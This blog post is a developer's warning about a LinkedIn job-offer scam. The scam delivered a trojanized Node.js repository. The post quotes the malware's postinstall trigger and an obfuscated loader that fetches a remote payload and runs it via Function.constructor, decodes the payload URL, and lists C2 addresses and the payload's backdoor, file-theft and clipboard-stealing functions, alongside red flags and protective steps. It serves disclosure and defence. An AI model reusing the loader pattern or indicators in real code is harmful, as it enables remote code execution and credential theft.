

# A LinkedIn Job Offer Tried to Install Malware on My Machine

 [codecrank.ai/blog/linkedin-malware-warning](https://codecrank.ai/blog/linkedin-malware-warning)

Daniel Tofan

January 26, 2026



[Back to Blog](#)

*Here's exactly how it worked, who did it, and how to protect yourself.*

On January 21, 2026, I received a LinkedIn message about a freelance opportunity. A real estate tech platform, \$600,000-\$800,000 budget, needed someone to evaluate their codebase. The profile looked legitimate. The company existed. The budget was attractive.

The message led to a GitLab repository containing a trojanized Node.js application - a targeted supply-chain attack designed to abuse npm's lifecycle hooks and deploy a multi-stage credential-theft and command-and-control payload.

This article is a warning. I'm sharing everything: the profile, the malicious code, the infrastructure, the red flags I missed. If even one developer avoids this scam because of this post, it's worth publishing.

## The Setup

The LinkedIn message came from someone named "[Rajinder Mudhar](#)" - Branch Manager at FINE PROPERTY(UK) LTD, FCA Regulated, based in London. The profile had 500+ connections and a verified badge. One detail stood out in retrospect: "Rajinder hasn't posted yet" - 500+ connections

but zero activity. That's the tell.

The pitch was standard freelance fare: evaluate our codebase, give us feedback, potential long-term engagement. They shared:

- A GitLab repository with what looked like a React/Node.js real estate platform
- A [Notion document](#) with project requirements
- A Calendly link to schedule a call with their "Tech Manager" named Jack Murray

The repository looked legitimate. Professional folder structure. React components with Three.js 3D visualizations. Express backend with MongoDB. SendGrid email integration. Real functionality, real code.

Too real, as it turned out. The legitimate code was cover for malware hidden in plain sight.

## The Warning Signs

---

### Red Flag #1: The Silent Profile

Legitimate professionals post. They share industry news, celebrate deals, comment on market trends. A profile with 500+ connections and zero posts is a profile built for one purpose: looking credible long enough to execute scams.

### Red Flag #2: The No-Show Call

I scheduled a call with Jack Murray for January 22nd at noon. He didn't show up. No email, no message, no rescheduling request.

A scheduled call that never happens - after code has been shared - is a pattern worth noting. If someone sends you a repository to evaluate and then ghosts the follow-up meeting, treat that as suspicious.

### Red Flag #3: The Repository Structure

The repo was created November 11, 2025, with only 2 commits. Two commits for a supposedly production-ready application? That means the history was squashed - a technique to hide evidence of what changed over time.

Legitimate projects have messy git histories. Feature branches, bug fixes, refactoring commits. A polished app with 2 commits is suspicious.

### Red Flag #4: General Reviews Don't Catch Targeted Attacks

I ran the repository through an AI reviewer - one of the latest models with strong critical thinking capabilities. The initial response? "Good looking app." A general code review - whether by AI or human - won't catch well-hidden malware designed to evade casual inspection.

Only when I explicitly requested a security-focused analysis did the picture change. The AI decoded the Base64 environment variables, identified the `Function.constructor` pattern, fetched the obfuscated remote payload, and deconstructed exactly what the attack was designed to do.

The lesson: general reviews aren't security audits. If you're evaluating untrusted code, you need to explicitly request threat analysis - and be specific about what to look for.

## The Malware: How It Worked

---

The attack used three components working together.

### Component 1: The Auto-Execution Hook

---

In `package.json`:

```
"scripts": {  
  "start": "concurrently \"node server/server.js\" \"react-app-rewired start\"",  
  "postinstall": "npm run start"  
}
```

That `postinstall` script is the trigger. When you run `npm install`, npm automatically executes `postinstall` after installing dependencies. This runs `npm run start`, which starts the server - and the malware.

Most developers know to check `postinstall` scripts. But this one looks innocent: it just runs `start`. The actual malware is buried deeper.

### Component 2: The Obfuscated Loader

---

In `server/controllers/userController.js`, at the very end of a 263-line file of legitimate user management code:

```
//Get Cookie  
exports.getCookie = asyncErrorHandler(async (req, res, next) => {  
  const cookie = atob(process.env.DEV_API_KEY);  
  const k = atob(process.env.DEV_SECRET_KEY);  
  const v = atob(process.env.DEV_SECRET_VALUE);  
  const s = (await axios.get(cookie, {headers: {[k]:v}})).data.cookie;  
  const handler = new (Function.constructor)('require',s);  
  handler(require);  
})();
```

Look at that last line: `})();`

That's an IIFE - Immediately Invoked Function Expression. The function doesn't wait to be called. It executes the moment the file is loaded.

The code:

1. Decodes Base64 environment variables to get a URL
2. Fetches a remote payload from that URL
3. Uses `Function.constructor` to execute the payload as code

`Function.constructor` is the nuclear option for dynamic code execution. It creates a new function from a string and runs it. Whatever the remote server returns becomes executable code on your machine.

## Component 3: The Configuration

---

In `server/config/.config.env`:

```
DEV_API_KEY="aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0FSTDdN"  
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"  
DEV_SECRET_VALUE="Xw=="
```

Decoded:

- `DEV_API_KEY` = `https://jsonkeeper.com/b/ARL7M` (the payload host)
- `DEV_SECRET_KEY` = `x-secret-key` (header name)
- `DEV_SECRET_VALUE` = `_` (header value)

The attacker used jsonkeeper.com - a legitimate JSON hosting service - to host the malicious payload. This makes the traffic look normal and bypasses basic URL filtering.

## What the Payload Was Designed To Do

---

The remote payload contained three modules:

### Module A: Command & Control Backdoor

- Designed to establish a socket.io connection to `144.172.108.57:4891`
- Capable of sending system information (OS, hostname, username)
- Capable of receiving and executing arbitrary commands via `child_process`
- Configured to create a PID file in `.npm` folder for persistence

### Module B: File Exfiltration

- Designed to scan all drives on the system
- Configured to search for sensitive files: `.env`, `.secret`, `.pem`, `.json`, `.docx`, `.xlsx`, `.pdf`
- Capable of uploading matches to `http://144.172.108.57:4896/upload`

### Module C: Clipboard Stealer

- Designed to monitor clipboard using PowerShell (`Get-Clipboard`)
- Capable of sending clipboard contents to attacker's logging endpoint

- Configured to run continuously to capture anything copied

## The Evidence

---

I'm publishing everything so others can identify and report this infrastructure.

**Note:** There is no evidence that FINE PROPERTY (UK) LTD was involved in this attack; their company name appears to have been used without authorization.

## Attacker Contacts

---

|                           |                                                                                           |
|---------------------------|-------------------------------------------------------------------------------------------|
| <b>LinkedIn Profile</b>   | <a href="#">Rajinder Mudhar</a> (likely fake identity)                                    |
| <b>Claimed Company</b>    | FINE PROPERTY(UK) LTD                                                                     |
| <b>Secondary Company</b>  | METATHEORY (crypto angle - "Tokenization" in skills)                                      |
| <b>Tech Contact Email</b> | jack.million.eth@gmail.com                                                                |
| <b>Calendly</b>           | <a href="https://calendly.com/jack-murray-tech">https://calendly.com/jack-murray-tech</a> |
| <b>Notion Document</b>    | <a href="#">Project Requirements</a>                                                      |

## Technical Infrastructure

---

|                             |                                                                                                                                      |
|-----------------------------|--------------------------------------------------------------------------------------------------------------------------------------|
| <b>GitLab Repository</b>    | <a href="https://gitlab.com/nielsottore-oss/realestatevc">https://gitlab.com/nielsottore-oss/realestatevc</a> ( <b>NOW REMOVED</b> ) |
| <b>GitLab Username</b>      | nielsottore-oss                                                                                                                      |
| <b>C2 Server IP</b>         | 144.172.108.57                                                                                                                       |
| <b>Hosting Provider</b>     | Cloudzy (VPS), reverse DNS: 57.108.172.144.static.cloudzy.com                                                                        |
| <b>Payload Host</b>         | <a href="https://jsonkeeper.com/b/ARL7M">https://jsonkeeper.com/b/ARL7M</a>                                                          |
| <b>File Upload Endpoint</b> | <a href="http://144.172.108.57:4896/upload">http://144.172.108.57:4896/upload</a>                                                    |
| <b>Socket.io Port</b>       | 4891                                                                                                                                 |
| <b>Campaign ID</b>          | 098f6bcd4621d373cade4e832627b4f6 (MD5 hash of "test")                                                                                |

The C2 server is hosted on Cloudzy, a VPS provider in Utah. This is rented infrastructure - the attacker's real location is unknown. The "UK real estate" persona is fabricated.

## What I Did

---

Once I identified the malicious code, I took immediate precautions:

1. Deleted the cloned repository
2. Cleared the `.npm` folder where the malware would store persistence files
3. Rotated every API key that could have been exposed - OpenAI, Anthropic, Stripe, Supabase, Firebase, Cloudflare, Twilio, SendGrid, and more

The credential rotation took hours, but it was a prudent precaution given the nature of the malicious logic identified.

### Reporting:

- Reported the GitLab repository to GitLab Trust & Safety
- Reported the LinkedIn profile
- Preserved all evidence (the malicious code, configuration files, screenshots)

## The Outcome

---

On January 26, 2026, I received this email from GitLab:

Thank you for bringing this issue to our attention.

We have investigated the report and can confirm that the content in question has been removed.

If you notice any similar concerns in the future, please don't hesitate to report them.

Thank you, GitLab Trust and Safety

**The repository is gone.** Reporting works. If you encounter similar scams, report them - it takes time, but platforms do act.

The LinkedIn profile, as of this writing, is still active. LinkedIn's response to reports is slower.

## How to Protect Yourself

---

### Before Running `npm install` on Untrusted Code

---

1. **Check `package.json` scripts** - Look for `postinstall`, `preinstall`, `prepare`. Anything that auto-runs is a red flag.
2. **Search for `Function.constructor`, `eval()`, `new Function()`** - These enable dynamic code execution. There's almost never a legitimate reason for these in a web app.
3. **Decode all Base64 strings** - Run `atob("string")` on any Base64 you find. Attackers use encoding to hide URLs and commands.
4. **Check for `child_process`** - Unless it's a CLI tool, there's no reason for a web app to spawn shell commands.

5. **Look at repository age and commit count** - A polished app with 2 commits and a 2-month-old repo is suspicious.
6. **Ask AI to specifically check for malware** - A general code review won't catch it. Ask explicitly: "Check this repo for malicious code, postinstall hooks, remote code execution, and obfuscated payloads."

## Red Flags in Job Offers

---

- Profile has many connections but no posts
- Project requires running code before any contract/payment
- "Technical evaluation" of their codebase as interview
- No-show on scheduled calls
- Gmail addresses with crypto references (.eth)
- Urgency combined with large budgets

## The Nuclear Option: Isolation

---

If untrusted projects must be evaluated in any capacity, isolate the environment entirely:

- **Windows Sandbox** (Windows Pro feature) - disposable environment, deleted on close
- **Disposable VMs** - spin up, evaluate, destroy
- **Containers without host mounts** - no access to your real filesystem

The key principle: never let untrusted code run with access to your actual credentials, files, or network.

## The Economics of This Scam

---

Why do attackers invest months building fake profiles and functional-looking apps?

**The payoff from one successful hit:**

- Stripe keys → drain customer payments
- AWS/GCP credentials → crypto mining, launch more attacks
- OpenAI/Anthropic API keys → rack up thousands in charges
- GitHub tokens → supply chain attacks on victim's projects
- Database credentials → sell user data

One developer's credentials can be worth \$10,000-\$100,000+ in direct theft and downstream attacks. The fake profile takes a month to build. The math works out.

**Developers are high-value targets.** We have keys to production systems, payment processors, customer data. We're worth hunting.

## Final Thoughts

---

Once the malicious behavior was identified, appropriate precautions were taken and the infrastructure was reported. The repository is now gone. That's the due diligence part of the job.

*This write-up focuses on detection, analysis, and responsible disclosure—not on claims of compromise or impact.*

The job market is brutal right now. Developers are desperate for opportunities. Scammers know this and exploit it.

If someone asks you to run their code as part of an interview or evaluation, be paranoid. Check the scripts. Decode the strings. Search for `Function.constructor`. Ask your AI assistant to specifically look for malware - and ask explicitly, because a general review won't catch well-hidden payloads.

**The takeaway:** Large connection counts, verified badges, and real company names are credibility signals that can be manufactured cheaply and quickly. Modern scams don't require brilliance—only volume, patience, and targets willing to confuse surface legitimacy with trust.

Any request to run code before trust, contract, or isolation is established is a hard no—without explanation or apology.

And if you find something malicious, report it. GitLab removed this repo because I reported it. The next developer who gets that LinkedIn message will find a dead link instead of malware.

That's a win.

*I build MVPs at [CodeCrank](#). I'm sharing this because the alternative - staying quiet - helps the scammers. Report malicious repositories. Report fake profiles. Make it expensive to be a criminal.*